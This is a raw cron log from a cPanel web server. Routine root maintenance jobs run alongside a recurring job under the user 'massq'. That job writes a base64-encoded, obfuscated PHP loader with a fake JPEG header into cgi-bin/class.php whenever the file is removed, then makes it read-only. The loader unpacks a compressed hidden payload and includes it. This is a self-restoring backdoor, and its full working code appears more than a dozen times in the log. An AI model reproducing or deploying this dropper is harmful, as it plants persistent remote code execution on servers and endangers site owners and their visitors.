Aug 30 09:40:01 server CROND[9663]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 09:41:01 server CROND[10494]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 09:41:01 server CROND[10495]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 09:41:01 server CROND[10496]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 09:42:01 server CROND[10874]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Aug 30 09:42:01 server CROND[10875]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 09:42:01 server CROND[10878]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 09:42:01 server CROND[10877]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 09:43:01 server CROND[11367]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 09:43:01 server CROND[11368]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 09:43:01 server CROND[11369]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 09:44:01 server CROND[11827]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 09:44:01 server CROND[11828]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 09:44:01 server CROND[11829]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 09:45:01 server CROND[12206]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 30 09:45:01 server CROND[12208]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 09:45:01 server CROND[12209]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Aug 30 09:45:01 server CROND[12210]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 09:45:01 server CROND[12211]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 30 09:45:01 server CROND[12214]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 09:45:01 server CROND[12212]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Aug 30 09:46:01 server CROND[13120]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 09:46:01 server CROND[13121]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 09:46:01 server CROND[13122]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 09:47:01 server CROND[13505]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 09:47:01 server CROND[13506]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 09:47:01 server CROND[13507]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 09:48:01 server CROND[13887]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 09:48:01 server CROND[13888]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 09:48:01 server CROND[13889]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 09:49:01 server CROND[14373]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 09:49:01 server CROND[14374]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 09:49:01 server CROND[14375]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 09:50:01 server CROND[14753]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 30 09:50:01 server CROND[14755]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Aug 30 09:50:01 server CROND[14760]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Aug 30 09:50:01 server CROND[14757]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Aug 30 09:50:01 server CROND[14761]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 30 09:50:01 server CROND[14759]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Aug 30 09:50:01 server CROND[14758]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 09:50:01 server CROND[14762]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 09:50:01 server CROND[14756]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 09:51:02 server CROND[15569]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 09:51:02 server CROND[15570]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 09:51:02 server CROND[15571]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 09:52:01 server CROND[15957]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 09:52:01 server CROND[15958]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 09:52:01 server CROND[15959]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 09:53:01 server CROND[16322]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
